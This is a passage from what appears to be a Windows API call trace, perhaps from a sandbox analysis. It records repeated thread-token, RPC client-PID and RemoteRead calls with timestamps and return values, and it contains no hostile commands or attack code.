SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.790] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x47, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.791] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.791] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.791] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.791] GetCurrentThread () returned 0xfffffffffffffffe [0147.791] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.791] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.791] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.791] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x56, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.791] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.791] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.792] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.792] GetCurrentThread () returned 0xfffffffffffffffe [0147.792] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.792] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.792] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.792] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x88, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.792] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.792] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.793] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.793] GetCurrentThread () returned 0xfffffffffffffffe [0147.793] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.793] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.793] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.793] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x38, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.793] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.793] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.794] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.794] GetCurrentThread () returned 0xfffffffffffffffe [0147.794] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.794] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.794] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.794] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x34, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.795] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.795] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.795] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.795] GetCurrentThread () returned 0xfffffffffffffffe [0147.795] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.795] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.795] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.795] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xcf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.795] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.795] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.796] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.796] GetCurrentThread () returned 0xfffffffffffffffe [0147.796] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.796] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.796] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.796] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x47, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.796] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.796] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.797] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.797] GetCurrentThread () returned 0xfffffffffffffffe [0147.797] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.797] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.797] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.797] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xeb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.797] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.797] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.798] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.798] GetCurrentThread () returned 0xfffffffffffffffe [0147.798] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.798] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.798] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.798] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe1, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.798] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.798] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.798] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.798] GetCurrentThread () returned 0xfffffffffffffffe [0147.798] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.799] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.799] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.799] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x11, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.799] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.799] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.799] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.799] GetCurrentThread () returned 0xfffffffffffffffe [0147.799] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.799] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.799] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.799] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x58, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.799] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.800] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.800] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.800] GetCurrentThread () returned 0xfffffffffffffffe [0147.800] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.800] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.800] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.800] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xee, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.801] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.801] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.802] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.802] GetCurrentThread () returned 0xfffffffffffffffe [0147.802] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.802] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.802] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.802] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x48, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.802] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.802] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.802] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.802] GetCurrentThread () returned 0xfffffffffffffffe [0147.802] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.802] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.803] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.803] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.803] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.803] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.803] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.803] GetCurrentThread () returned 0xfffffffffffffffe [0147.803] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.803] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.803] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.803] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe3, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.803] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.804] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.804] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.804] GetCurrentThread () returned 0xfffffffffffffffe [0147.804] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.804] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.804] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.804] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.804] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.804] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.805] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.805] GetCurrentThread () returned 0xfffffffffffffffe [0147.805] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.805] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.805] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.805] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.805] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.805] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.806] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.806] GetCurrentThread () returned 0xfffffffffffffffe [0147.806] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.806] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.806] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.806] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf7, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.806] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.806] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.807] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.807] GetCurrentThread () returned 0xfffffffffffffffe [0147.807] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.807] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.807] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.807] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x1e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.807] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.807] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.807] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.807] GetCurrentThread () returned 0xfffffffffffffffe [0147.807] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.807] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.808] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.808] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.808] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.808] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.808] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.808] GetCurrentThread () returned 0xfffffffffffffffe [0147.808] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.808] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.808] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.808] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.809] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.809] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.809] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.809] GetCurrentThread () returned 0xfffffffffffffffe [0147.809] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.809] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.809] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.809] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.809] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.810] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.810] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.810] GetCurrentThread () returned 0xfffffffffffffffe [0147.810] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.810] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.810] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.810] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf3, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.810] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.810] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.811] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.811] GetCurrentThread () returned 0xfffffffffffffffe [0147.811] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.811] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.811] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.811] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xbb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.811] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.811] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.812] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.812] GetCurrentThread () returned 0xfffffffffffffffe [0147.812] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.812] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.812] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.812] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.812] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.812] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.812] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.813] GetCurrentThread () returned 0xfffffffffffffffe [0147.813] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.813] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.813] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.813] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x54, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.813] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.813] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.813] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.813] GetCurrentThread () returned 0xfffffffffffffffe [0147.813] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.813] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.813] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.814] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x94, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.814] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.814] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.814] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.814] GetCurrentThread () returned 0xfffffffffffffffe [0147.814] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.814] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.814] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.814] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb1, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.814] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.815] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.815] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.815] GetCurrentThread () returned 0xfffffffffffffffe [0147.815] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.815] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.815] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.815] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.815] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.815] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.816] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.816] GetCurrentThread () returned 0xfffffffffffffffe [0147.816] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.816] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.816] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.816] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.816] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.816] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.817] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.817] GetCurrentThread () returned 0xfffffffffffffffe [0147.817] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.817] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.817] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.817] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xad, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.817] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.817] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.817] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.817] GetCurrentThread () returned 0xfffffffffffffffe [0147.817] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.817] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.817] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.818] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x48, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.818] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.818] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.818] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.818] GetCurrentThread () returned 0xfffffffffffffffe [0147.818] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.818] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.818] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.818] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.818] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.818] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.819] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.819] GetCurrentThread () returned 0xfffffffffffffffe [0147.819] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.819] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.819] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.819] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x15, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.819] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.819] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.820] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.820] GetCurrentThread () returned 0xfffffffffffffffe [0147.820] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.820] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.820] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.820] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x81, 